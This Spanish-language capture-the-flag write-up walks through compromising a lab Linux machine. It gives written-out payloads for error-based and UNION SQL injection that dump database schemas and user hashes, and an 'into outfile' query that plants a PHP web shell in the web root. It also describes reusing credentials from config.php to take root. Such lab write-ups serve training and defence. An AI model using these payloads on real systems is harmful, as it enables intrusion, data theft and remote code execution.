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TOPICS 

-SQLi error-based 

-Malicious File Creation Through "into outfile" (Remote Command Execution) 

-Exposed Credentials config.php File [Privilege Escalation] 

 

RECONOCIMIENTO Y ENUMERACION 

 

Inicio comprobando conectividad con la maquina víctima. 

$ping -c 1 10.10.11.116 

 

Tenemos un ttl 63 = Maquina Linux 

Realizare un escaneo de puertos con NMAP 

$nmap -p- --open -sCV -n -v –min-rate 5000 10.10.11.116 -oN Ports 

 

Puertos encontrados 22/tcp 80/tcp 4566/tcp 8080/tcp 

Veo que corre el servicio http por tres puertos. Con Whatweb vere las tecnologías que corren por 

este servicio. 
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Tenemos una versión de PHP/7.4.23, por lo cual si puedo llegar a inyectar algun archivo malicioso 

en PHP, puedo ganar acceso a la maquina víctima, vere de que trata la pagina web. 

http:// 10.10.11.116/ 

 

Tenemos un campo que al parecer es un panel de registro, pero no tiene entrada para una 

contraseña, vere que pasa al introducir algún argumento. 

 

Veo mi input reflejado en la pantalla probare si la pagina es vulnerable “HTML injection” 

  es vulnerable “HTML injection”. 

 es vulnerable “reflected XSS” 
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Intentare ver si la página también es vulnerable a “SQLi” 

 

Al parecer el campo no es vulnerable, pero aun tengo el otro campo que por lo que veo puedo 

intentar modificar el campo de Países con burpsuite. 

 

 

Después de realizar una serie de comprobaciones para intentar detectar si el campo es vulnerables 

a SQLi, detecte un error al tratar de inyectar ‘ 

 

 

SQLi basado en errores: la base de datos genera un mensaje de error por las acciones del 

atacante. El atacante obtiene información sobre la infraestructura de la base de datos en función 

de los datos que generaron estos mensajes de error. 
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Ahora que sé que es vulnerable a SQLI, intentare realizar un ordenamiento de los datos, 

basándome en X columna. 

 

En este caso solo me arroja una sin darme error, por lo cual iniciare con “UNION attack”, esto me 

permitirá como atacante obtener datos validos de la base de datos actual 

 

Nombre de la base de datos actual 

 

Versión actual de la base de datos 
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Vista previa de ficheros de la maquina victima 

 

 

Intentare listar las bases de datos existentes en el sitio 

username=raptor&country=Brazil' union select schema_name from 

information_schema.schemata-- - 
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Ahora intentare listar las tablas de la base de datos “registration”. 

username=raptor&country=Brazil' union select table_name from information_schema.tables 

where table_name="registration"-- - 

 

 

Existe una tabla con nombre “registration”, listare ahora las columnas 

username=raptor&country=Brazil' union select column_name from information_schema.columns  

where table_schema="registration" and table_name="registration"-- - 

 

 

Ahora intentare ver las columnas “username” y “userhash” utilizando group_concat() 

username=raptor&country=Brazil' union select group_concat(username,0x3a,userhash) from 

registration-- - 
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Por lo que veo son los hashes y nombres creados por mi entrada, lo cual no son nada interesantes. 

Existe una forma de intentar subir un archivo al sitio web ya que tengo la dirección donde se 

almacena este sitio /var/www/html, si llego a tener capacidad de escritura en este directorio 

podre tener éxito al intentar crear un fichero con la quiery “into outfile” 

 

Intentare crear un archivo con el nombre prueba.txt y contenido test. 

username=raptor&country=Brazil' union select "test" into outfile "/var/www/html/prueba.txt"-- - 

 

me da un error en la respuesta, pero verificamos si se pudo crear. 

 

 

Ahora que se que pude crear un archivo en el directorio mencionado, intentare colar un archivo 

.php con el contenido <?php system($_REQUEST[‘cmd’]); ?> 

username=raptor&country=Brazil' union select "<?php system($_REQUEST[‘cmd’]); ?>" into outfile 

"/var/www/html/cmd.php"-- - 

 Archivo cargado con éxito. 
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Ahora que tengo capacidad de ejecución remota de comandos, vamos a ganar acceso a la misma 

 

Al parecer ganamos acceso a un contenedor, pero al realizar búsqueda de algún otro host no 

puedo encontrar más. 

 

Tenemos un archivo config.php y todo archivo config en ocasiones tiene algún dato de valor. 

 

 

 

Credenciales dentro del archivo, si analizamos un poco en el usuario que se asignó para ese 

passwd, no existe en la maquina por lo cual probare esas credenciales con el usuario root 

 

 

 

 

 


